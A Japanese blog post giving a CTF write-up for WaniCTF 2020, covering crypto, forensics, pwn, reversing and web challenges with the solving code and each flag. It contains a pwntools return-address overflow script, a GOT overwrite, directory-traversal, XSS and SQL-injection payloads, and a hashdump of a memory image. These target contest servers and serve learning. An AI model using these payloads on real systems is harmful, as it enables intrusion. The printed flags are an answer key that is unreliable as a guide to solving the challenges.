ぶちのブログ

競プロとCTFが趣味なWebエンジニアのアウトプットの場

WaniCTF 2020 write-up

はじめに

WaniCTF 2020に参加して、31問中27問を解いて、2776点の19位でした。

f:id:betit0919:20201123203137p:plain

f:id:betit0919:20201123203141p:plain

pwnは今までほぼ解けたことがなかったのですが、誘導がとても親切だったので、その場で調べていくつか問題が解けました!
勉強するのにとても良いCTFだったと思います。運営の皆様ありがとうございます。

解けた問題について自分の解法を書いていきます!

Crypto

Veni, vidi

シーザー暗号です。

# frozen_string_literal: true

input = 'SYNT{fvzcyr_pynffvpny_pvcure}'

ans = input.chars.map do |c|
  if /[a-zA-Z]/.match? c
    (/[a-mA-M]/.match? c) ? (c.ord + 13).chr : (c.ord - 13).chr
  else
    c
  end
end

puts ans.join

フラグはFLAG{simple_classical_cipher}でした。

問題のタイトルは、カエサルの「来た、見た、勝った」という言葉から来ているんですかね。

exclusive

XORでの任意の元の逆元は自分自身であることを使います。また、MASKは最初の文字がFLAGになるべきことから"ABC" * 19と逆算できます。

# frozen_string_literal: true

input = File.read('output.txt')

ans = input.chars.zip(('ABC' * 19).chars).map do |a|
  p a
  (a[0].ord ^ a[1].ord).chr
end

puts ans.join

フラグはFLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}でした。

Basic RSA

1問目は掛け算するだけ、2問目は累乗するだけです。2問目はpythonの組み込み関数のpowを使うと楽です。

3問目はwikipediaを見ながら以下のようなコードを書きました。

from math import gcd
from functools import reduce


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)


# ここにサーバーに接続して出力される値を入れる
p = 7041432130313244796950281993838902739106439356602877714606458384186213903288787226221432324354767044069350532186121341963391409509516178480593162872866793
q = 11168556882323638148036515557772740080904748076290399509593200663285981658968914827361721721954443249620521957648766089916382265796646797400675750685604361
e = 65537
c = 40570423974891430080253870022682679517702984542456600527002069526532030082165299716261597786667147378002625873399114107986243122220539493233002893189198066015414805681443248328710386911991880235918762406465422175949543893842466948081047589075028548896125198494757236156848768239966798457098574796136702253681

tmp, tmp2, d = egcd((p - 1) * (q - 1), 65537)

print(pow(c, d, p * q))

フラグはFLAG{y0uv3_und3rst00d_t3xtb00k_RSA}でした。

LCG Crack

LCGで作られた暗号を解読する問題。

問題名そのままで調べたら、https://tailcall.net/blog/cracking-randomness-lcgs/というページが引っかかったので、こちらのコードを大いに参考にして解きました。

from math import gcd
from functools import reduce


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)


def modinv(b, n):
    g, x, _ = egcd(b, n)
    if g == 1:
        return x % n


def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0] * multiplier) % modulus
    return modulus, multiplier, increment


def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * \
        modinv(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)


def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2 * t0 - t1 * t1 for t0, t1,
              t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)


print(
    crack_unknown_modulus(
        # ここにサーバーに接続して出力される値を順に入れる
        [
            243331861946710531,
            5810350824751231991,
            8560247047094378475,
            788442681630378710,
            1443969830598239223
        ]
    )
)

こちらのコードでa, b, mの値が求まるので、10回分手動で次の値を求めました。

フラグはFLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}でした。

l0g0n

エンターを2回押したらフラグが出てきてしまった。(0文字のものを暗号化しても0文字になるという性質があるからですかね)

フラグはFLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}でした。

Forensics

logged_flag

key_log.txtを見て、手でフラグを復元しました。secret.jpgのほうが使う必要がありませんね。
自分はUSキーボードなのでそのまま復元できました。

フラグはFLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}でした。

ALLIGATOR_01

Volatilityを用いて、vol.py -f ALLIGATOR.raw --profile=Win7SP1x86 pstree | grep evilとすると、evil.exeが実行された時間がわかります。

フラグはFLAG{2020-10-26_03:01:55_UTC+0000}でした。

ALLIGATOR_02

非想定解ですが、stringsだけで解けます。strings ALLIGATOR.raw | grep FLAG{

フラグはFLAG{y0u_4re_c0n50les_master}でした。

chunk_eater

IHDR、IDAT(2箇所)、IEND(2箇所)となるべき部分がWANIになっているため、Hex Fiendで開いて適切に書き換えると画像が開けます。

フラグはFLAG{chunk_is_so_yummy!}でした。

ALLIGATOR_03

Volatilityを用いて、vol.py -f ALLIGATOR.raw hashdump -y 0x8781a008 -s 0x93791458 --profile=Win7SP0x86とするとパスワードのNTLMハッシュがわかります。

NTLMハッシュをdecodeしてくれそうなサイトを適当に探してdecodeすると、パスワードがilovewaniであることがわかり、このパスワードでzipが解凍できます。

フラグはFLAG{The_Machikane_Crocodylidae}でした。

zero_size_png

IDATのサイズを求めると1872057 bytesでした。これを素因数分解すると、3 * 11 * 17 * 47 * 71になることと、idat_bytes = height * (4 * width + 1)という関係が成り立つこと、画像が恐らく正方形に近そうなことからエスパーし、画像サイズを599 * 781と特定しました。
Hex Fiendでこのサイズに書き換えると、画像が開けます。

フラグはFLAG{Cyclic_Redundancy_CAT}でした。

Misc

Find a Number

log_2(500000) ~ 18.9 < 20なので二分探索で解けます。
コードを書くのが面倒だったので、手動で二分探索しました。

フラグはFLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}でした。

MQTT Challenge

入力欄に#と打つことで、ワイルドカードで指定できます。

フラグはFLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}でした。

PWN

netcat

nc netcat.wanictf.org 9001に接続して、cat flag.txtとする。

フラグはFLAG{netcat-1s-sw1ss-4rmy-kn1fe}でした。

car rewrite

nc var.wanictf.org 9002に接続して、AAAAAAAAAAWANIとする。
シェルが取れるのでcat flag.txtとします。

フラグはFLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}でした。

binsh address

strings -t x ./pwn03とすると、inputという文字列から見た、/bin/shという文字列の相対アドレスが0x10なので、与えられたアドレスに+0x10すればよいことがわかります。

フラグはFLAG{cAn-f1nd-str1ng-us1ng-str1ngs}でした。

got rewriter

入力後に呼ばれるread関数のGOTでのアドレス0x601048を、win関数0x400807に書き換えるとwin関数が呼び出されます。
read関数のアドレスはobjdump -d -M intel ./pwn04からわかります。

フラグはFLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}でした。

ret rewrite

解説できるほど理解度が高くないので、コードだけ貼っておきます。

import pwn

io = pwn.remote("ret.wanictf.org", 9005)
# io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

addr = 0x00400838
s = b"A" * 22
s += pwn.p64(addr)

print(s)

io.send(s)
io.interactive()

フラグはFLAG{1earning-how-return-address-w0rks-on-st4ck}でした。

Reversing

strings

strings strings | grep FLAGとするとフラグがわかります。

フラグはFLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}でした。

simple

Ghidraでmain関数をデコンパイルすると、以下のようなコードが出てきます。

char local_78 [48];

local_78[0] = 'F';
local_78[1] = 0x4c;
local_78[2] = 0x41;
local_78[3] = 0x47;
local_78[4] = 0x7b;
local_78[5] = 0x35;
local_78[6] = 0x69;
local_78[7] = 0x6d;
local_78[8] = 0x70;
local_78[9] = 0x31;
local_78[10] = 0x65;
local_78[11] = 0x5f;
local_78[12] = 0x52;
local_78[13] = 0x65;
local_78[14] = 0x76;
local_78[15] = 0x65;
local_78[16] = 0x72;
local_78[17] = 0x73;
local_78[18] = 0x31;
local_78[19] = 0x6e;
local_78[20] = 0x67;
local_78[21] = 0x5f;
local_78[22] = 0x34;
local_78[23] = 0x72;
local_78[24] = 0x72;
local_78[25] = 0x61;
local_78[26] = 0x79;
local_78[27] = 0x5f;
local_78[28] = 0x35;
local_78[29] = 0x74;
local_78[30] = 0x72;
local_78[31] = 0x69;
local_78[32] = 0x6e;
local_78[33] = 0x67;
local_78[34] = 0x73;
local_78[35] = 0x7d;

local_78という文字列と入力が一致すればいいことから、フラグがわかります。

フラグはFLAG{5imp1e_Revers1ng_4rray_5trings}でした。

complex

面倒なのでangrを使ってしまいました。数時間待っているとフラグが得られました。

import angr

p = angr.Project("./complex")
state = p.factory.entry_state()
sim = p.factory.simulation_manager(state)
sim.explore(find=(0x400000 + 0x1cb9,))
if len(sim.found) > 0:
    print(sim.found[0].posix.dumps(0))

フラグはFLAG{did_you_really_check_the_return_value}でした。

Web

DevTools_1

dev toolを見るとHTMLのコメント内にフラグが書かれています。

フラグはFLAG{you_can_read_html_using_devtools}でした。

DevTools_2

dev toolからページの内容を書き替えればフラグが出てきました。

フラグはFLAG{you_can_edit_html_using_devtools}でした。

Simple Memo

ディレクトリトラバーサルの問題です。../が空文字列に置換されるので、?file=....//flag.txtにアクセスすると、../flag.txtの内容が読み込めます。

フラグはFLAG{y0u_c4n_get_hi5_5ecret_fi1e}でした。

striped table

XSSの問題です。黒背景の部分だけsanitizeが抜けているので、<script>alert(19640503)</script>という内容の投稿を2回行うことでXSSが成立します。

フラグはFLAG{simple_cross_site_scripting}でした。

SQL Challenge 1

year=1 or 1 = 1としたいのですが、スペースが使えません。そこで、区切り文字として()を使い?year=(1)or(1)=(1)としました。

フラグはFLAG{53cur3_5ql_a283b4dffe}でした。

SQL Challenge 2

入力の最初に'がついていないので、multibytes sql injectionも難しそうでした。
とりあえずMySQL予約語を片っ端から試していたところ、?year=falseと入力したときにフラグが出てきました。

後から考えると、数字から始まらない文字列とfalseは、どちらも暗黙の型変換で0にcastされるからのようですね。

フラグはFLAG{5ql_ch4r_cf_ca87b27723}でした。